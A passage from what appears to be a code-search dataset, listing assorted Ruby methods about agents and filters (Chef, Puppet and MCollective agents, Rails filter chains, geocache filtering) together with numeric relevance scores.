'#{runner.stdout}'\")\n false\n else\n # Extract ip check agent status from stdout\n ip_match = runner.stdout.match(ip_regex)\n ip = ip_match ? ip_match[1] : nil\n # status = runner.stdout[/Replication test <strong>succeeded<\\/strong>/]\n\n Chef::Log.warn \"Agent detected ip: '#{ip}'\"\n # If status success and ip detected\n compare_ips(ip, host[:ipaddress]) if ip\n end\nend",
"def use_agent?\n @use_agent\n end",
"def strict_filters=(_arg0); end",
"def discovery_permissions\n super\n end",
"def agent?(target, executor, inventory)\n inventory.features(target).include?('puppet-agent') ||\n executor.transport(target.transport).provided_features.include?('puppet-agent') || target.remote?\n end",
"def improvisors\n find_related_frbr_objects( :is_improvised_by, :which_roles?) \n end",
"def improvisors\n find_related_frbr_objects( :is_improvised_by, :which_roles?) \n end",
"def global_filter; end",
"def agent\n @agent\n end",
"def agent\n @agent ||= Helpers.agent\n end",
"def set_agent_interface(opts)\n opts = check_params(opts,[:agent_intf])\n super(opts)\n end",
"def agent_failed(type); end",
"def filters\n end",
"def agent_should_start?\n !blacklisted_constants? &&\n !blacklisted_executables? &&\n !in_blacklisted_rake_task?\n end",
"def target_filters\n scan_ses_notes if @target_filters.nil?\n @target_filters\n end",
"def filter\n police = [\"Police\", \"Sheriff\"]\n fire = [\"Fire\"]\n special = [\"CHILD\", \"SHOTS\", \"ACC1\", \"ACC3\", \"ACC4\", \"BACKO\", \"FRES\", \"DRUGOD\"]\n if special.any? { |special| agency.include?(special)}\n print(:light_yellow)\n elsif agency.include?(\"EMS CALL\")\n print(:light_red)\n elsif police.any? { |police| agency.include?(police)}\n print(:light_blue)\n elsif fire.any? { |fire| agency.include?(fire)}\n print(:red)\n else\n print(:white)\n end\n end",
"def allowServiceProviders\n requires = getRequiresMap\n provides = getProvidesMap(requires.keys)\n requires.each_key do |providerType|\n debug \"working on #{providerType}\"\n clients = requires[providerType]\n servers = provides[providerType]\n if (servers == nil) then\n debug \"#{clients} need service #{providerType} but nobody can give it\"\n else \n debug \"the agents in #{clients} can talk to the agents in #{servers}\"\n clientsName = \"#{providerType}Clients\"\n serversName = \"#{providerType}Servers\"\n declareSet(clientsName, clients)\n declareSet(serversName, servers)\n permit(clientsName, serversName, \"#{providerType}Comm-I\")\n permit(serversName, clientsName, \"#{providerType}Comm-II\")\n end\n end\n end",
"def client_capabilities=(_arg0); end",
"def discover_groups\n search_by_type_and_mode(:group, Hydra::ACL.Discover).map(&:agent_name)\n end",
"def ensure_agent\n return if @agent || !@use_agent\n @agent = @agent_factory.open\n end",
"def mock_agent\n { :'ins0:PartyType' => 'PER', 'ins0:LpltType' => 'PRIVATE', 'ins0:FlptType' => 'AGENT',\n 'ins0:PersonName' => { 'ins0:Title': nil, 'ins0:Forename': 'Valid', 'ins0:Surname': 'User' },\n 'ins0:AuthorityInd' => 'no', 'ins0:EmailAddress' => 'valid.user@necsws.com',\n 'ins0:BuyerSellerLinkedInd' => nil, 'ins0:ActingAsTrusteeInd' => nil }\nend",
"def make_harvestable\n self.alt_identities_changed = true\n self.harvested = false\n end",
"def strict_filters; end",
"def run_target_with_filters(method, args = [])\n self.is_amf = true\n self.allow_after_filters = false\n \n afters = []\n befores = []\n \n #populate the before and after arrays\n self.filter_chain.each do |fl|\n if(fl.inspect.to_s.match(/BeforeFilter/))\n befores << fl\n elsif(fl.class.to_s.match(/AfterFilter/))\n afters.unshift(fl)\n end\n end\n \n @executed_filters = {}\n befores.each do |fl|\n begin\n if @executed_filters[fl.filter] || @executed_filters[fl.filter.inspect.to_s.split('/').last.to_s]\n next\n end\n if fl.inspect.to_s.match(/Proc/) != nil #proc filter\n r = fl.filter.call(self)\n if r == false #catch false\n line = fl.filter.inspect.to_s.split('/').last.split(':').last.sub('>','')\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails proc filter on line {#{line}} haulted\")\n elsif r.class.to_s == 'FaultObject' #catch return FaultObject's\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter.inspect.split('/').last.to_s] = true\n else #method filter\n if args.empty?\n r = self.send(fl.filter.to_s)\n else\n r = self.send(fl.filter.to_s, *args) #splat args out\n end\n \n if r == false #catch false\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails method filter {#{fl.filter.to_s}} haulted\") \n elsif r.class.to_s == 'FaultObject' #catch returned FaultObjects\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter] = true\n end\n #elsif(fl.inspect.to_s.match(/ProcWithCallFilter/))\n # fl.filter.call(controller, ?action?)\n rescue Exception => e #catch exceptions\n \t if e.message == \"exception class/object expected\" #if raised a RubyAMF FaultObject\n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,\"You cannot raise a FaultObject, return it instead.\")\n \t else \n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,e.message)\n \t end\n rescue LocalJumpError => e #incorrect superclass error supression\n next\n end\n end\n \n begin\n res = self.send(method) #Call target Method\n if !self.allow_after_filters\n if self.used_render_amf #flag if used respond_to, then content will be in self.amf_content\n return self.amf_content\n else\n return res #return prematurely\n end\n end\n rescue Exception => e\n raise RUBYAMFException.new(RUBYAMFException.USER_ERROR, e.message)\n end\n \n #Call afters\n afters.each do |fl|\n begin\n if @executed_filters[fl.filter] || @executed_filters[fl.filter.inspect.to_s.split('/').last.to_s]\n next\n end\n if(fl.inspect.to_s.match(/Proc/) != nil)\n r = fl.filter.call(self)\n if r == false #catch false\n line = fl.filter.inspect.to_s.split('/').last.split(':').last.sub('>','')\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails proc filter on line {#{line}} haulted\")\n elsif r.class.to_s == 'FaultObject' #catch return FaultObject's\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter.inspect.split('/').last.to_s] = true\n else\n #call method\n if args.empty?\n r = self.send(fl.filter.to_s)\n else\n r = self.send(fl.filter.to_s,args)\n end\n \n if r == false #catch false\n raise RUBYAMFException.new(RUBYAMFException.FILTER_CHAIN_HAULTED, \"The Rails method filter {#{fl.filter.to_s}} haulted\") \n elsif r.class.to_s == 'FaultObject' #catch returned FaultObjects\n raise RUBYAMFException.new(r.faultCode, r.faultString)\n end\n @executed_filters[fl.filter] = true\n end\n #elsif(fl.inspect.to_s.match(/ProcWithCallFilter/))\n # fl.filter.call(controller, ?action?)\n rescue Exception => e #catch exceptions\n \t if e.message == \"exception class/object expected\" #if raised a RubyAMF FaultObject\n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,\"You cannot raise a FaultObject, return it instead.\")\n \t else \n \t raise RUBYAMFException.new(RUBYAMFException.USER_ERROR,e.message)\n \t end\n rescue LocalJumpError => e #incorrect superclass error supression\n next\n end\n end\n \n if self.used_render_amf\n return self.amf_content\n else\n return r #return the last value of r\n end\n end",
"def arrange_agent(svc_prop)\n agent = nil\n agent_monitor.each_online { |ag|\n if test_agent_candidate(svc_prop, ag)\n agent = ag\n break\n end\n }\n agent = agent[1] if agent\n\n agent\n end",
"def filters=(_arg0); end",
"def filters=(_arg0); end",
"def agent_identities(targets)\n # Select the hosts that have the agent role but not the master role (Beaker's\n # `agents` selector selects all of the hosts that have the agent role, but masters\n # typically have _both_ the agent and master roles - this rejection guards against\n # accidentally including the master in this list when working with `agents`).\n agents_only = targets.reject { |host| host['roles'].include?('master') }.to_a\n agents_only.map { |agent| \"pcp://#{agent}/agent\" }\nend",
"def allowHealthMonitoring()\n @run.society.communities.each do |community|\n if robustnessCommunity?(community) then\n healthMonitors = getHealthMonitors(community)\n healthMonitorsName = \"HealthMonitorsFor#{community.name}\"\n declareSet(healthMonitorsName, healthMonitors)\n permit(healthMonitorsName, communityMembersName(community),\n \"AllowHealthMonitoring#{community.name}-I\",\n getCommunityEnclaves(community))\n permit(communityMembersName(community), healthMonitorsName,\n \"AllowHealthMonitoring#{community.name}-II\",\n getCommunityEnclaves(community))\n end\n end\n end",
"def archivist_agent\n @archivist_agent ||= agents.select{|x| x[:role] == 'ARCHIVIST'}.first\n end",
"def add_filters(filters); end",
"def test_class_filter__class_and_method_match\n class_filter = Class_filter\n \n context = {:class_name => \"Dryml\", :method_name => \"build_a\"}.context\n \n options = {:filters => class_filter} \n exec = Tracing::Filter::Executor.new(options) \n result = exec.filters_allow?('msg', context)\n assert_equal true, result, \"Filter should allow passage\" \n end",
"def agent\n @agent\n end",
"def platform_filters_available?\n !options.platform.nil?\n end",
"def supported_features_filter_for_client(client_name, client_version)\n\t# by default, will return only packages that have no \"required version\" set.\n\tversion_string = formatted_version_string(client_version)\n\tif (client_name != \"Emu iOS\" and client_name !=\"Emu Android\") or version_string == nil\n\t\tfilter = {\n\t\t\t\"required_ios_version\"=>{\"$exists\"=>false}, \n\t\t\t\"required_android_version\"=>{\"$exists\"=>false}\n\t\t}\n\t\treturn filter\n\tend\n\n\t# Some packs use features available only starting from a given iOS or Android client\n\t\n\t# iOS\n\tif client_name == \"Emu iOS\"\n\t\tfilter = {\n\t\t\t\"$or\"=>[\n\t\t\t\t{\"required_ios_version\"=>{\"$exists\"=>false}}, \t\t# packs with no minimal requirement\n\t\t\t\t{\"required_ios_version\"=>{\"$lte\"=>version_string}}\t# packs with a minimal requirement for iOS\n\t\t\t]\n\t\t}\n\t\treturn filter\n\tend\n\n\t# Android\n\tif client_name == \"Emu Android\"\n\t\tfilter = {\n\t\t\t\"$or\"=>[\n\t\t\t\t{\"required_android_version\"=>{\"$exists\"=>false}},\t\t# packs with no minimal requirement\n\t\t\t\t{\"required_android_version\"=>{\"$lte\"=>version_string}}\t# packs with a minimal requirement for Android\n\t\t\t]\n\t\t}\n\t\treturn filter\n\tend\n\nend",
"def force_discovery_method_by_filter(filter)\n unless discovery_method == \"mc\"\n unless filter[\"compound\"].empty?\n Log.info \"Switching to mc discovery method because compound filters are used\"\n @client.options[:discovery_method] = \"mc\"\n\n return true\n end\n end\n\n return false\n end",
"def initialize_available_filters\n @@available_filters ||= {}\n end",
"def agent\n @agent ||= Helpers.agent\n end",
"def agent # :nodoc:\n return @agent if @agent\n\n NewRelic::Agent.logger.warn(\"Agent unavailable as it hasn't been started.\")\n NewRelic::Agent.logger.warn(caller.join(\"\\n\"))\n nil\n end",
"def postFetchFilter\n @filtered= Filter.new(@detail.waypoints)\n\n # caches with warnings we choose not to include.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeArchived']\n @appliedFilters['--includeArchived'] = { 'f' => \"\", 't' => \"also archived\" }\n else\n # this would cause too much noise, don't advertise\n #@appliedFilters['--excludeArchived'] = { 'f' => \"\", 't' => \"not archived\" }\n @filtered.removeByElement('archived')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Archived\")\n #\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeDisabled']\n @appliedFilters['-z'] = { 'f' => \"\", 't' => \"also disabled\" }\n else\n @appliedFilters['+z'] = { 'f' => \"\", 't' => \"not disabled\" }\n @filtered.removeByElement('disabled')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Disabled\")\n\n # exclude Premium Member Only caches on request\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['noPMO']\n @appliedFilters['-O'] = { 'f' => \"\", 't' => \"no PMO\" }\n @filtered.removeByElement('membersonly')\n end\n if @option['onlyPMO']\n @appliedFilters['-Q'] = { 'f' => \"\", 't' => \"PMO\" }\n @filtered.removeByElement('membersonly', false)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"PM-Only\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['descKeyword']\n @appliedFilters['-K'] = { 'f' => \"#{@option['descKeyword']}\", 't' => \"matching descr. keyword\" }\n @filtered.descKeyword(@option['descKeyword'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Keyword\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['difficultyMin']\n @appliedFilters['-d'] = { 'f' => \"#{@option['difficultyMin']}\", 't' => \"difficulty min\" }\n @filtered.difficultyMin(@option['difficultyMin'].to_f)\n end\n if @option['difficultyMax']\n @appliedFilters['-D'] = { 'f' => \"#{@option['difficultyMax']}\", 't' => \"difficulty max\" }\n @filtered.difficultyMax(@option['difficultyMax'].to_f)\n end\n if @option['terrainMin']\n @appliedFilters['-t'] = { 'f' => \"#{@option['terrainMin']}\", 't' => \"terrain min\" }\n @filtered.terrainMin(@option['terrainMin'].to_f)\n end\n if @option['terrainMax']\n @appliedFilters['-T'] = { 'f' => \"#{@option['terrainMax']}\", 't' => \"terrain max\" }\n @filtered.terrainMax(@option['terrainMax'].to_f)\n end\n if @option['sizeMin']\n @appliedFilters['-s'] = { 'f' => \"#{@option['sizeMin']}\", 't' => \"size min\" }\n @filtered.sizeMin(@option['sizeMin'])\n end\n if @option['sizeMax']\n @appliedFilters['-S'] = { 'f' => \"#{@option['sizeMax']}\", 't' => \"size max\" }\n @filtered.sizeMax(@option['sizeMax'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"D/T/Size\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['favFactorMin']\n @appliedFilters['-g'] = { 'f' => \"#{@option['favFactorMin']}\", 't' => \"favFactor min\" }\n @filtered.favFactorMin(@option['favFactorMin'].to_f)\n end\n if @option['favFactorMax']\n @appliedFilters['-G'] = { 'f' => \"#{@option['favFactorMax']}\", 't' => \"favFactor max\" }\n @filtered.favFactorMax(@option['favFactorMax'].to_f)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"FavFactor\")\n\n # We filter for users again. While this may be a bit obsessive, this is in case\n # our local cache is not valid.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['userExclude']\n @appliedFilters['-E'] = { 'f' => \"#{@option['userExclude']}\", 't' => \"not done by\" }\n @option['userExclude'].split($delimiters).each{ |user|\n @filtered.userExclude(user)\n }\n end\n if @option['userInclude']\n @appliedFilters['-e'] = { 'f' => \"#{@option['userInclude']}\", 't' => \"done by\" }\n @option['userInclude'].split($delimiters).each{ |user|\n @filtered.userInclude(user)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"User\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['attributeExclude']\n @appliedFilters['-A'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr no\" }\n @option['attributeExclude'].split($delimiters).each{ |attribute|\n @filtered.attributeExclude(attribute)\n }\n end\n if @option['attributeInclude']\n @appliedFilters['-a'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr yes\" }\n @option['attributeInclude'].split($delimiters).each{ |attribute|\n @filtered.attributeInclude(attribute)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Attribute\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['minLongitude']\n @appliedFilters['--minLon'] = { 'f' => \"#{@option['minLongitude']}\", 't' => \"West\" }\n @filtered.longMin(@option['minLongitude'])\n end\n if @option['maxLongitude']\n @appliedFilters['--maxLon'] = { 'f' => \"#{@option['maxLongitude']}\", 't' => \"East\" }\n @filtered.longMax(@option['maxLongitude'])\n end\n if @option['minLatitude']\n @appliedFilters['--minLat'] = { 'f' => \"#{@option['minLatitude']}\", 't' => \"South\" }\n @filtered.latMin(@option['minLatitude'])\n end\n if @option['maxLatitude']\n @appliedFilters['--maxLat'] = { 'f' => \"#{@option['maxLatitude']}\", 't' => \"North\" }\n @filtered.latMax(@option['maxLatitude'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Lat/Lon\")\n\n displayMessage \"Post-fetch filter complete, #{caches(@filtered.totalWaypoints)} left.\"\n return @filtered.totalWaypoints\n end",
"def to_be_processed_by?(agent)\n if !agent.nil? && !agent.role.nil? && !statut.nil?\n case agent.role.nom\n when 'Responsable'\n 'Traitement' == statut.nom\n when 'Technicien'\n 'Approuvée' == statut.nom\n else\n false\n end\n else\n false\n end\n end",
"def agent _args\n \"agent _args;\" \n end",
"def config_filters\n []\n end",
"def e(*args, &block)\n filters = Pacer::Route.edge_filters(self, args)\n if features.supportsKeyIndices or (search_manual_indices and features.supportsIndices)\n route = indexed_route(:edge, filters, block)\n end\n if route\n route\n elsif never_scan\n fail Pacer::ClientError, \"No indexed properties found among: #{ filters.property_keys.join ', ' }\"\n else\n super(filters, &block)\n end\n end",
"def is_readable_by?(agent = nil)\n true\n end",
"def discover\n if @discovered_clients == nil\n @discovered_clients = @client.discover(@options[:filter], @options[:disctimeout])\n end\n\n @discovered_clients\n end",
"def assign_filter_and_agency_type\n @filter = params[:filter] || 'broker'\n @agency_type = params[:agency_type] || 'new'\n end",
"def remove_agent_interface(opts)\n opts = check_params(opts,[:agent_intf])\n super(opts)\n end",
"def set_filters\n @filters = ''\n @filters.concat(\"status:'Available'\")\n unless @manufacturer_or_publisher.blank?\n @filters.concat(\" AND (manufacturer:'#{@manufacturer_or_publisher}'\")\n @filters.concat(\" OR publisher:'#{@manufacturer_or_publisher}')\")\n end\n @filters.concat(\" AND category:'#{@category}'\") unless @category.blank?\n @filters.concat(\" AND seller_name:'#{@seller_name}'\") unless @seller_name.blank?\n end",
"def filter\n grpc.filter\n end",
"def agent_params\n params.fetch(:agent, {})\n end",
"def robots\n @agent.robots\n end",
"def agent_params\n params.permit(:id, :name, :type, :address, :host, :super, paths: %i[path format filter_by])\n end",
"def run_filters\n set_user\n authorize\n end",
"def ensure_filters\n # private_methods returns the list of private methods accessible to obj. If the all parameter is set to\n # false, only those methods in the receiver will be listed.\n private_methods(false).grep(/\\Afilter_by_/)&.each { |filter| send(filter) }\n end",
"def gated_discovery_filters\n return super if @access != :deposit\n [\"{!terms f=id}#{admin_set_ids_for_deposit.join(',')}\"]\n end",
"def show_list\n process_show_list(:conditions => [\"agent_type<>?\", \"VMDB\"])\n end",
"def typus_actions_on(filter)\n Typus::Configuration.config[name]['actions'][filter.to_s].extract_settings\n rescue\n []\n end",
"def find_activators(filters = {})\n plugin_statuses.map(&:activators).flatten.select do |act|\n %i{plugin_name plugin_type activator_name implementation_class}.all? do |criteria|\n !filters.key?(criteria) || act[criteria] == filters[criteria]\n end\n end\n end",
"def features_requested\n if !defined?(@_requested_features)\n @_requested_features = ENV[\"VAGRANT_EXPERIMENTAL\"].to_s.downcase.split(',')\n end\n @_requested_features\n end",
"def spam?( env ); raise NotImplementedError; end",
"def filter_argument; end",
"def puppet_type\n return :agent\nend"
] | [
"0.6517474",
"0.61861545",
"0.5951934",
"0.58789355",
"0.5854995",
"0.5852562",
"0.5740693",
"0.57117724",
"0.5682581",
"0.5487009",
"0.54166657",
"0.54166657",
"0.52910566",
"0.52450705",
"0.5234832",
"0.5220964",
"0.5194587",
"0.51904994",
"0.51809955",
"0.51784015",
"0.51762325",
"0.51762325",
"0.51762325",
"0.51716",
"0.51502013",
"0.5140562",
"0.50835955",
"0.5052711",
"0.5041635",
"0.5029258",
"0.5023959",
"0.49975926",
"0.49872223",
"0.49818563",
"0.49805164",
"0.4967432",
"0.4967432",
"0.49618787",
"0.495944",
"0.49549192",
"0.4937475",
"0.49315858",
"0.49163872",
"0.49163872",
"0.4910543",
"0.4874252",
"0.4870231",
"0.48626417",
"0.48574314",
"0.485389",
"0.4837341",
"0.483584",
"0.48146924",
"0.48106533",
"0.48073006",
"0.48033437",
"0.4797424",
"0.479458",
"0.47942662",
"0.47877142",
"0.47872317",
"0.47841048",
"0.477955",
"0.477955",
"0.4772438",
"0.4768572",
"0.47676724",
"0.47566992",
"0.47563773",
"0.47469148",
"0.47421297",
"0.47412917",
"0.47373727",
"0.47279215",
"0.4723262",
"0.47215584",
"0.47175342",
"0.4713273",
"0.47071797",
"0.47065106",
"0.46992475",
"0.4693675",
"0.46846485",
"0.46826997",
"0.4675381",
"0.4667881",
"0.46660057",
"0.46460488",
"0.46439472",
"0.46430448",
"0.46419346",
"0.46382064",
"0.46265438",
"0.46245956",
"0.46243066",
"0.46177867",
"0.46165234",
"0.46111697",
"0.45968106",
"0.4587785"
] | 0.6375558 | 1 |
checks if compound filters are used and then forces the 'mc' discovery plugin | def force_discovery_method_by_filter(filter)
unless discovery_method == "mc"
unless filter["compound"].empty?
Log.info "Switching to mc discovery method because compound filters are used"
@client.options[:discovery_method] = "mc"
return true
end
end
return false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def or_filters_provided?\n true\n end",
"def advanced_filters_provided?\n true\n end",
"def apply_filter_config\r\n exec(\r\n 'require_once(\"shaper.inc\");',\r\n 'require_once(\"filter.inc\");',\r\n 'filter_configure_sync();'\r\n )\r\n end",
"def filter\n\tfilter_disabled\n\tfilter_repeated\n\tfilter_silenced\n\tfilter_dependencies\n end",
"def global_filter; end",
"def platform_filters_available?\n !options.platform.nil?\n end",
"def check_capabilities(filter)\n capabilities = ddl.discovery_interface[:capabilities]\n\n unless capabilities.include?(:classes)\n raise \"Cannot use class filters while using the '%s' discovery method\" % discovery_method unless filter[\"cf_class\"].empty?\n end\n\n unless capabilities.include?(:facts)\n raise \"Cannot use fact filters while using the '%s' discovery method\" % discovery_method unless filter[\"fact\"].empty?\n end\n\n unless capabilities.include?(:identity)\n raise \"Cannot use identity filters while using the '%s' discovery method\" % discovery_method unless filter[\"identity\"].empty?\n end\n\n unless capabilities.include?(:compound)\n raise \"Cannot use compound filters while using the '%s' discovery method\" % discovery_method unless filter[\"compound\"].empty?\n end\n end",
"def strict_filters; end",
"def strict_filters=(_arg0); end",
"def config_filter(conf, filters=nil)\n\t\t\tconf = conf.clone\n\t\t\tfilters = (conf[:use].rfm_force_array | filters.rfm_force_array).compact\n\t\t\tfilters.each{|f| next unless conf[f]; conf.merge!(conf[f] || {})} if !filters.blank?\n\t\t\tconf.delete(:use)\n\t\t\tconf\n\t\tend",
"def sync_filters\n super.presence || default_sync_filters\n end",
"def set_filters\n @filters = ''\n @filters.concat(\"status:'Available'\")\n unless @manufacturer_or_publisher.blank?\n @filters.concat(\" AND (manufacturer:'#{@manufacturer_or_publisher}'\")\n @filters.concat(\" OR publisher:'#{@manufacturer_or_publisher}')\")\n end\n @filters.concat(\" AND category:'#{@category}'\") unless @category.blank?\n @filters.concat(\" AND seller_name:'#{@seller_name}'\") unless @seller_name.blank?\n end",
"def add_filters(filters); end",
"def ensure_filters\n # private_methods returns the list of private methods accessible to obj. If the all parameter is set to\n # false, only those methods in the receiver will be listed.\n private_methods(false).grep(/\\Afilter_by_/)&.each { |filter| send(filter) }\n end",
"def filters; end",
"def filters; end",
"def postFetchFilter\n @filtered= Filter.new(@detail.waypoints)\n\n # caches with warnings we choose not to include.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeArchived']\n @appliedFilters['--includeArchived'] = { 'f' => \"\", 't' => \"also archived\" }\n else\n # this would cause too much noise, don't advertise\n #@appliedFilters['--excludeArchived'] = { 'f' => \"\", 't' => \"not archived\" }\n @filtered.removeByElement('archived')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Archived\")\n #\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeDisabled']\n @appliedFilters['-z'] = { 'f' => \"\", 't' => \"also disabled\" }\n else\n @appliedFilters['+z'] = { 'f' => \"\", 't' => \"not disabled\" }\n @filtered.removeByElement('disabled')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Disabled\")\n\n # exclude Premium Member Only caches on request\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['noPMO']\n @appliedFilters['-O'] = { 'f' => \"\", 't' => \"no PMO\" }\n @filtered.removeByElement('membersonly')\n end\n if @option['onlyPMO']\n @appliedFilters['-Q'] = { 'f' => \"\", 't' => \"PMO\" }\n @filtered.removeByElement('membersonly', false)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"PM-Only\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['descKeyword']\n @appliedFilters['-K'] = { 'f' => \"#{@option['descKeyword']}\", 't' => \"matching descr. keyword\" }\n @filtered.descKeyword(@option['descKeyword'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Keyword\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['difficultyMin']\n @appliedFilters['-d'] = { 'f' => \"#{@option['difficultyMin']}\", 't' => \"difficulty min\" }\n @filtered.difficultyMin(@option['difficultyMin'].to_f)\n end\n if @option['difficultyMax']\n @appliedFilters['-D'] = { 'f' => \"#{@option['difficultyMax']}\", 't' => \"difficulty max\" }\n @filtered.difficultyMax(@option['difficultyMax'].to_f)\n end\n if @option['terrainMin']\n @appliedFilters['-t'] = { 'f' => \"#{@option['terrainMin']}\", 't' => \"terrain min\" }\n @filtered.terrainMin(@option['terrainMin'].to_f)\n end\n if @option['terrainMax']\n @appliedFilters['-T'] = { 'f' => \"#{@option['terrainMax']}\", 't' => \"terrain max\" }\n @filtered.terrainMax(@option['terrainMax'].to_f)\n end\n if @option['sizeMin']\n @appliedFilters['-s'] = { 'f' => \"#{@option['sizeMin']}\", 't' => \"size min\" }\n @filtered.sizeMin(@option['sizeMin'])\n end\n if @option['sizeMax']\n @appliedFilters['-S'] = { 'f' => \"#{@option['sizeMax']}\", 't' => \"size max\" }\n @filtered.sizeMax(@option['sizeMax'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"D/T/Size\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['favFactorMin']\n @appliedFilters['-g'] = { 'f' => \"#{@option['favFactorMin']}\", 't' => \"favFactor min\" }\n @filtered.favFactorMin(@option['favFactorMin'].to_f)\n end\n if @option['favFactorMax']\n @appliedFilters['-G'] = { 'f' => \"#{@option['favFactorMax']}\", 't' => \"favFactor max\" }\n @filtered.favFactorMax(@option['favFactorMax'].to_f)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"FavFactor\")\n\n # We filter for users again. While this may be a bit obsessive, this is in case\n # our local cache is not valid.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['userExclude']\n @appliedFilters['-E'] = { 'f' => \"#{@option['userExclude']}\", 't' => \"not done by\" }\n @option['userExclude'].split($delimiters).each{ |user|\n @filtered.userExclude(user)\n }\n end\n if @option['userInclude']\n @appliedFilters['-e'] = { 'f' => \"#{@option['userInclude']}\", 't' => \"done by\" }\n @option['userInclude'].split($delimiters).each{ |user|\n @filtered.userInclude(user)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"User\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['attributeExclude']\n @appliedFilters['-A'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr no\" }\n @option['attributeExclude'].split($delimiters).each{ |attribute|\n @filtered.attributeExclude(attribute)\n }\n end\n if @option['attributeInclude']\n @appliedFilters['-a'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr yes\" }\n @option['attributeInclude'].split($delimiters).each{ |attribute|\n @filtered.attributeInclude(attribute)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Attribute\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['minLongitude']\n @appliedFilters['--minLon'] = { 'f' => \"#{@option['minLongitude']}\", 't' => \"West\" }\n @filtered.longMin(@option['minLongitude'])\n end\n if @option['maxLongitude']\n @appliedFilters['--maxLon'] = { 'f' => \"#{@option['maxLongitude']}\", 't' => \"East\" }\n @filtered.longMax(@option['maxLongitude'])\n end\n if @option['minLatitude']\n @appliedFilters['--minLat'] = { 'f' => \"#{@option['minLatitude']}\", 't' => \"South\" }\n @filtered.latMin(@option['minLatitude'])\n end\n if @option['maxLatitude']\n @appliedFilters['--maxLat'] = { 'f' => \"#{@option['maxLatitude']}\", 't' => \"North\" }\n @filtered.latMax(@option['maxLatitude'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Lat/Lon\")\n\n displayMessage \"Post-fetch filter complete, #{caches(@filtered.totalWaypoints)} left.\"\n return @filtered.totalWaypoints\n end",
"def set_filter(agent, filters, vars)\n agent.reset\n if filters[:discovery]\n agent.discover({:nodes => filters[:discovery]})\n else\n ['identity', 'fact', 'class', 'compound'].each do |kind|\n next unless filters[kind]\n add_filter = agent.method(\"#{kind}_filter\".to_sym)\n if filters[kind].is_a?(String)\n add_filter.call(interpolate(filters[kind], vars))\n else\n filters[kind].each do |filter|\n add_filter.call(interpolate(filter, vars))\n end\n end\n end\n end\n agent\nend",
